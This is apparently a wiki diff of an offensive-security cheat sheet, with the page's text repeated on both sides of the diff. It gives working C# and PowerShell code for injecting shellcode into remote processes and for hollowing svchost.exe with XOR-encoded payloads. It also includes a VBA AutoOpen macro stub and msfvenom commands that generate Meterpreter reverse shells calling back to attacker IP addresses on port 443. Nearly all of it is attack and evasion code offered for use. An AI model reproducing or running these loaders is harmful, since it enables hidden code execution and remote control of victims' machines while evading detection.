Sub AutoOpen() | Sub AutoOpen() | ||
MyMacro | MyMacro | ||
End Sub | End Sub | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== Process Injection == | == Process Injection == | ||
=== Csharp === | === Csharp === | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
using System; | using System; | ||
using System.Runtime.InteropServices; | using System.Runtime.InteropServices; | ||
namespace Inject | namespace Inject | ||
{ | { | ||
| Line 6,646: | Line 4,972: | ||
{ | { | ||
// Import necessary functions from kernel32.dll | // Import necessary functions from kernel32.dll | ||
// Opens an existing local process object | // Opens an existing local process object | ||
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] | ||
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId); | static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId); | ||
// Reserves or commits a region of memory within the virtual address space of a specified process | // Reserves or commits a region of memory within the virtual address space of a specified process | ||
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] | ||
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); | static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); | ||
// Writes data to an area of memory in a specified process | // Writes data to an area of memory in a specified process | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); | static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); | ||
// Creates a thread that runs in the virtual address space of another process | // Creates a thread that runs in the virtual address space of another process | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); | static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); | ||
static void Main(string[] args) | static void Main(string[] args) | ||
{ | { | ||
// Obtain a handle to the target process. Remeber to change the process ID(4804) | // Obtain a handle to the target process. Remeber to change the process ID(4804) | ||
IntPtr hProcess = OpenProcess(0x001F0FFF, false, 4804); | IntPtr hProcess = OpenProcess(0x001F0FFF, false, 4804); | ||
// Allocate memory in the target process's address space | // Allocate memory in the target process's address space | ||
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40); | IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40); | ||
// Define the shellcode bytes to inject | // Define the shellcode bytes to inject | ||
byte[] buf = new byte[591] | byte[] buf = new byte[591] | ||
| Line 6,677: | Line 4,996: | ||
// ... (rest of the shellcode) | // ... (rest of the shellcode) | ||
}; | }; | ||
// Write the shellcode to the allocated memory in the target process | // Write the shellcode to the allocated memory in the target process | ||
IntPtr outSize; | IntPtr outSize; | ||
WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize); | WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize); | ||
// Create a remote thread in the target process to execute the shellcode | // Create a remote thread in the target process to execute the shellcode | ||
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); | IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); | ||
| Line 6,687: | Line 5,004: | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Csharp - But automatically get process ID === | === Csharp - But automatically get process ID === | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 6,698: | Line 5,012: | ||
using System.Diagnostics; | using System.Diagnostics; | ||
using System.Runtime.InteropServices; | using System.Runtime.InteropServices; | ||
namespace Inject | namespace Inject | ||
{ | { | ||
| Line 6,704: | Line 5,017: | ||
{ | { | ||
// Import necessary functions from kernel32.dll | // Import necessary functions from kernel32.dll | ||
// Opens an existing local process object | // Opens an existing local process object | ||
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] | ||
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId); | static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId); | ||
// Reserves or commits a region of memory within the virtual address space of a specified process | // Reserves or commits a region of memory within the virtual address space of a specified process | ||
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] | ||
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); | static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); | ||
// Writes data to an area of memory in a specified process | // Writes data to an area of memory in a specified process | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); | static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); | ||
// Creates a thread that runs in the virtual address space of another process | // Creates a thread that runs in the virtual address space of another process | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); | static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); | ||
static void Main(string[] args) | static void Main(string[] args) | ||
{ | { | ||
| Line 6,730: | Line 5,038: | ||
return; | return; | ||
} | } | ||
int targetProcessId = localByName[0].Id; | int targetProcessId = localByName[0].Id; | ||
// Obtain a handle to the target process | // Obtain a handle to the target process | ||
IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetProcessId); | IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetProcessId); | ||
// Allocate memory in the target process's address space | // Allocate memory in the target process's address space | ||
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40); | IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40); | ||
// Define the shellcode bytes to inject | // Define the shellcode bytes to inject | ||
byte[] buf = new byte[510] {0xfc,0x48,0x83,0xe4,0xf0,0xe8... [Rest of the shellcode] | byte[] buf = new byte[510] {0xfc,0x48,0x83,0xe4,0xf0,0xe8... [Rest of the shellcode] | ||
}; | }; | ||
// Write the shellcode to the allocated memory in the target process | // Write the shellcode to the allocated memory in the target process | ||
IntPtr outSize; | IntPtr outSize; | ||
WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize); | WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize); | ||
// Create a remote thread in the target process to execute the shellcode | // Create a remote thread in the target process to execute the shellcode | ||
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); | IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); | ||
| Line 6,753: | Line 5,055: | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Powershell === | === Powershell === | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
| Line 6,771: | Line 5,070: | ||
@($moduleName)), $functionName)) | @($moduleName)), $functionName)) | ||
} | } | ||
function getDelegateType { | function getDelegateType { | ||
Param ( | Param ( | ||
| Line 6,792: | Line 5,090: | ||
return $type.CreateType() | return $type.CreateType() | ||
} | } | ||
$procId = (Get-Process explorer).Id | $procId = (Get-Process explorer).Id | ||
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f ps1 | # msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f ps1 | ||
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4...[REST OF SHELLCODE] | [Byte[]] $buf = 0xfc,0x48,0x83,0xe4...[REST OF SHELLCODE] | ||
# C#: IntPtr hProcess = OpenProcess(ProcessAccessFlags.All, false, procId); | # C#: IntPtr hProcess = OpenProcess(ProcessAccessFlags.All, false, procId); | ||
$hProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess), | $hProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess), | ||
(getDelegateType @([UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke(0x001F0FFF, 0, $procId) | (getDelegateType @([UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke(0x001F0FFF, 0, $procId) | ||
# C#: IntPtr expAddr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)len, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite); | # C#: IntPtr expAddr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)len, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite); | ||
$expAddr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAllocEx), | $expAddr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAllocEx), | ||
(getDelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, [UInt32]$buf.Length, 0x3000, 0x40) | (getDelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, [UInt32]$buf.Length, 0x3000, 0x40) | ||
# C#: bool procMemResult = WriteProcessMemory(hProcess, expAddr, buf, len, out bytesWritten); | # C#: bool procMemResult = WriteProcessMemory(hProcess, expAddr, buf, len, out bytesWritten); | ||
$procMemResult = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WriteProcessMemory), | $procMemResult = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WriteProcessMemory), | ||
(getDelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [IntPtr])([Bool]))).Invoke($hProcess, $expAddr, $buf, [Uint32]$buf.Length, [IntPtr]::Zero) | (getDelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [IntPtr])([Bool]))).Invoke($hProcess, $expAddr, $buf, [Uint32]$buf.Length, [IntPtr]::Zero) | ||
# C#: IntPtr threadAddr = CreateRemoteThread(hProcess, IntPtr.Zero, 0, expAddr, IntPtr.Zero, 0, IntPtr.Zero); | # C#: IntPtr threadAddr = CreateRemoteThread(hProcess, IntPtr.Zero, 0, expAddr, IntPtr.Zero, 0, IntPtr.Zero); | ||
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateRemoteThread), | [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateRemoteThread), | ||
(getDelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, 0, $expAddr, 0, [IntPtr]::Zero) | (getDelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, 0, $expAddr, 0, [IntPtr]::Zero) | ||
Write-Host "Injected! Check your listener!" | Write-Host "Injected! Check your listener!" | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== Process Hollowing == | == Process Hollowing == | ||
Process Hollowing is a method used by attackers to inject malicious code into a legitimate process while keeping the process running. This allows the attacker to hide their activities within a trusted process, potentially evading detection. | Process Hollowing is a method used by attackers to inject malicious code into a legitimate process while keeping the process running. This allows the attacker to hide their activities within a trusted process, potentially evading detection. | ||
=== Stageless XOR'd === | === Stageless XOR'd === | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
using System; | using System; | ||
using System.Runtime.InteropServices; | using System.Runtime.InteropServices; | ||
namespace ProcessHollowing | namespace ProcessHollowing | ||
{ | { | ||
| Line 6,838: | Line 5,123: | ||
public const uint CREATE_SUSPENDED = 0x4; | public const uint CREATE_SUSPENDED = 0x4; | ||
public const int PROCESSBASICINFORMATION = 0; | public const int PROCESSBASICINFORMATION = 0; | ||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] | ||
public struct ProcessInfo | public struct ProcessInfo | ||
| Line 6,847: | Line 5,131: | ||
public Int32 ThreadId; | public Int32 ThreadId; | ||
} | } | ||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] | ||
public struct StartupInfo | public struct StartupInfo | ||
| Line 6,870: | Line 5,153: | ||
public IntPtr hStdError; | public IntPtr hStdError; | ||
} | } | ||
[StructLayout(LayoutKind.Sequential)] | [StructLayout(LayoutKind.Sequential)] | ||
internal struct ProcessBasicInfo | internal struct ProcessBasicInfo | ||
| Line 6,881: | Line 5,163: | ||
public IntPtr MoreReserved; | public IntPtr MoreReserved; | ||
} | } | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
static extern void Sleep(uint dwMilliseconds); | static extern void Sleep(uint dwMilliseconds); | ||
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)] | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)] | ||
static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, | static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, | ||
IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, | IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, | ||
[In] ref StartupInfo lpStartupInfo, out ProcessInfo lpProcessInformation); | [In] ref StartupInfo lpStartupInfo, out ProcessInfo lpProcessInformation); | ||
[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)] | [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)] | ||
private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass, | private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass, | ||
ref ProcessBasicInfo procInformation, uint ProcInfoLen, ref uint retlen); | ref ProcessBasicInfo procInformation, uint ProcInfoLen, ref uint retlen); | ||
[DllImport("kernel32.dll", SetLastError = true)] | [DllImport("kernel32.dll", SetLastError = true)] | ||
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, | static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, | ||
int dwSize, out IntPtr lpNumberOfbytesRW); | int dwSize, out IntPtr lpNumberOfbytesRW); | ||
[DllImport("kernel32.dll", SetLastError = true)] | [DllImport("kernel32.dll", SetLastError = true)] | ||
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); | public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); | ||
[DllImport("kernel32.dll", SetLastError = true)] | [DllImport("kernel32.dll", SetLastError = true)] | ||
static extern uint ResumeThread(IntPtr hThread); | static extern uint ResumeThread(IntPtr hThread); | ||
public static void Main(string[] args) | public static void Main(string[] args) | ||
{ | { | ||
| Line 6,914: | Line 5,189: | ||
return; | return; | ||
} | } | ||
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp | // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp | ||
// XORed with key 0xfa | // XORed with key 0xfa | ||
| Line 6,920: | Line 5,194: | ||
0x06, ...SHELLCODE HERE | 0x06, ...SHELLCODE HERE | ||
}; | }; | ||
// Start 'svchost.exe' in a suspended state | // Start 'svchost.exe' in a suspended state | ||
StartupInfo sInfo = new StartupInfo(); | StartupInfo sInfo = new StartupInfo(); | ||
| Line 6,927: | Line 5,200: | ||
false, CREATE_SUSPENDED, IntPtr.Zero, null, ref sInfo, out pInfo); | false, CREATE_SUSPENDED, IntPtr.Zero, null, ref sInfo, out pInfo); | ||
Console.WriteLine($"Started 'svchost.exe' in a suspended state with PID {pInfo.ProcessId}. Success: {cResult}."); | Console.WriteLine($"Started 'svchost.exe' in a suspended state with PID {pInfo.ProcessId}. Success: {cResult}."); | ||
// Get Process Environment Block (PEB) memory address of suspended process (offset 0x10 from base image) | // Get Process Environment Block (PEB) memory address of suspended process (offset 0x10 from base image) | ||
ProcessBasicInfo pbInfo = new ProcessBasicInfo(); | ProcessBasicInfo pbInfo = new ProcessBasicInfo(); | ||
| Line 6,934: | Line 5,206: | ||
IntPtr baseImageAddr = (IntPtr)((Int64)pbInfo.PebAddress + 0x10); | IntPtr baseImageAddr = (IntPtr)((Int64)pbInfo.PebAddress + 0x10); | ||
Console.WriteLine($"Got process information and located PEB address of process at {"0x" + baseImageAddr.ToString("x")}. Success: {qResult == 0}."); | Console.WriteLine($"Got process information and located PEB address of process at {"0x" + baseImageAddr.ToString("x")}. Success: {qResult == 0}."); | ||
// Get entry point of the actual process executable | // Get entry point of the actual process executable | ||
// This one is a bit complicated, because this address differs for each process (due to Address Space Layout Randomization (ASLR)) | // This one is a bit complicated, because this address differs for each process (due to Address Space Layout Randomization (ASLR)) | ||
| Line 6,943: | Line 5,214: | ||
// 4. Read the value at the RVA offset address to get the offset of the executable entrypoint from the executable address | // 4. Read the value at the RVA offset address to get the offset of the executable entrypoint from the executable address | ||
// 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success! | // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success! | ||
// 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing | // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing | ||
byte[] procAddr = new byte[0x8]; | byte[] procAddr = new byte[0x8]; | ||
| Line 6,952: | Line 5,222: | ||
result = ReadProcessMemory(pInfo.hProcess, executableAddress, dataBuf, dataBuf.Length, out bytesRW); | result = ReadProcessMemory(pInfo.hProcess, executableAddress, dataBuf, dataBuf.Length, out bytesRW); | ||
Console.WriteLine($"DEBUG: Executable base address: {"0x" + executableAddress.ToString("x")}."); | Console.WriteLine($"DEBUG: Executable base address: {"0x" + executableAddress.ToString("x")}."); | ||
// 2. Read the field 'e_lfanew', 4 bytes (UInt32) at offset 0x3C from executable address to get the offset for the PE header | // 2. Read the field 'e_lfanew', 4 bytes (UInt32) at offset 0x3C from executable address to get the offset for the PE header | ||
uint e_lfanew = BitConverter.ToUInt32(dataBuf, 0x3c); | uint e_lfanew = BitConverter.ToUInt32(dataBuf, 0x3c); | ||
Console.WriteLine($"DEBUG: e_lfanew offset: {"0x" + e_lfanew.ToString("x")}."); | Console.WriteLine($"DEBUG: e_lfanew offset: {"0x" + e_lfanew.ToString("x")}."); | ||
// 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset | // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset | ||
uint rvaOffset = e_lfanew + 0x28; | uint rvaOffset = e_lfanew + 0x28; | ||
Console.WriteLine($"DEBUG: RVA offset: {"0x" + rvaOffset.ToString("x")}."); | Console.WriteLine($"DEBUG: RVA offset: {"0x" + rvaOffset.ToString("x")}."); | ||
// 4. Read the 4 bytes (UInt32) at the RVA offset to get the offset of the executable entrypoint from the executable address | // 4. Read the 4 bytes (UInt32) at the RVA offset to get the offset of the executable entrypoint from the executable address | ||
uint rva = BitConverter.ToUInt32(dataBuf, (int)rvaOffset); | uint rva = BitConverter.ToUInt32(dataBuf, (int)rvaOffset); | ||
Console.WriteLine($"DEBUG: RVA value: {"0x" + rva.ToString("x")}."); | Console.WriteLine($"DEBUG: RVA value: {"0x" + rva.ToString("x")}."); | ||
// 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success! | // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success! | ||
IntPtr entrypointAddr = (IntPtr)((Int64)executableAddress + rva); | IntPtr entrypointAddr = (IntPtr)((Int64)executableAddress + rva); | ||
Console.WriteLine($"Got executable entrypoint address: {"0x" + entrypointAddr.ToString("x")}."); | Console.WriteLine($"Got executable entrypoint address: {"0x" + entrypointAddr.ToString("x")}."); | ||
// Carrying on, decode the XOR payload | // Carrying on, decode the XOR payload | ||
for (int i = 0; i < buf.Length; i++) | for (int i = 0; i < buf.Length; i++) | ||
| Line 6,975: | Line 5,240: | ||
} | } | ||
Console.WriteLine("XOR-decoded payload."); | Console.WriteLine("XOR-decoded payload."); | ||
// Overwrite the memory at the identified address to 'hijack' the entrypoint of the executable | // Overwrite the memory at the identified address to 'hijack' the entrypoint of the executable | ||
result = WriteProcessMemory(pInfo.hProcess, entrypointAddr, buf, buf.Length, out bytesRW); | result = WriteProcessMemory(pInfo.hProcess, entrypointAddr, buf, buf.Length, out bytesRW); | ||
Console.WriteLine($"Overwrote entrypoint with payload. Success: {result}."); | Console.WriteLine($"Overwrote entrypoint with payload. Success: {result}."); | ||
// Resume the thread to trigger our payload | // Resume the thread to trigger our payload | ||
uint rResult = ResumeThread(pInfo.hThread); | uint rResult = ResumeThread(pInfo.hThread); | ||
| Line 6,986: | Line 5,249: | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Stageless 2 === | === Stageless 2 === | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
//https://github.com/mvelazc0/defcon27_csharp_workshop/tree/master/Labs/lab7 | //https://github.com/mvelazc0/defcon27_csharp_workshop/tree/master/Labs/lab7 | ||
using System.Diagnostics; | using System.Diagnostics; | ||
using System.Runtime.InteropServices; | using System.Runtime.InteropServices; | ||
| Line 7,001: | Line 5,260: | ||
using System.Text; | using System.Text; | ||
using System.Threading; | using System.Threading; | ||
public class Program | public class Program | ||
{ | { | ||
const int PROCESS_CREATE_THREAD = 0x0002; | const int PROCESS_CREATE_THREAD = 0x0002; | ||
const int PROCESS_QUERY_INFORMATION = 0x0400; | const int PROCESS_QUERY_INFORMATION = 0x0400; | ||
| Line 7,011: | Line 5,268: | ||
const int PROCESS_VM_WRITE = 0x0020; | const int PROCESS_VM_WRITE = 0x0020; | ||
const int PROCESS_VM_READ = 0x0010; | const int PROCESS_VM_READ = 0x0010; | ||
//https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-openthread | //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-openthread | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
//static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId); | //static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId); | ||
static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId); | static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId); | ||
//https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-suspendthread | //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-suspendthread | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
static extern uint SuspendThread(IntPtr hThread); | static extern uint SuspendThread(IntPtr hThread); | ||
//https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-resumethread | //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-resumethread | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
static extern int ResumeThread(IntPtr hThread); | static extern int ResumeThread(IntPtr hThread); | ||
//https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-zwunmapviewofsection | //https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-zwunmapviewofsection | ||
[DllImport("ntdll.dll", SetLastError = true)] | [DllImport("ntdll.dll", SetLastError = true)] | ||
private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress); | private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress); | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); | public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
//public static extern IntPtr VirtualAllocEx(IntPtr lpHandle,IntPtr lpAddress, IntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect); | //public static extern IntPtr VirtualAllocEx(IntPtr lpHandle,IntPtr lpAddress, IntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect); | ||
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect); | public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect); | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); | static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); | ||
//https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject | //https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject | ||
[DllImport("kernel32")] | [DllImport("kernel32")] | ||
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); | private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten); | public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten); | ||
private static UInt32 MEM_COMMIT = 0x1000; | private static UInt32 MEM_COMMIT = 0x1000; | ||
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; | private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; | ||
private static UInt32 SUSPEND_RESUME = 0x0002; | private static UInt32 SUSPEND_RESUME = 0x0002; | ||
public static void Main() | public static void Main() | ||
{ | { | ||
// msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f csharp | // msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f csharp | ||
| Line 7,073: | Line 5,318: | ||
0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x61, | 0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x61, | ||
0x6c,0x63,0x2e,0x65,0x78,0x65,0x00}; | 0x6c,0x63,0x2e,0x65,0x78,0x65,0x00}; | ||
string proc = "userinit.exe"; | string proc = "userinit.exe"; | ||
Process newproc; | Process newproc; | ||
newproc = Process.Start(proc); | newproc = Process.Start(proc); | ||
| Line 7,092: | Line 5,335: | ||
} | } | ||
Console.WriteLine("Suspended!"); | Console.WriteLine("Suspended!"); | ||
IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, newproc.Id); | IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, newproc.Id); | ||
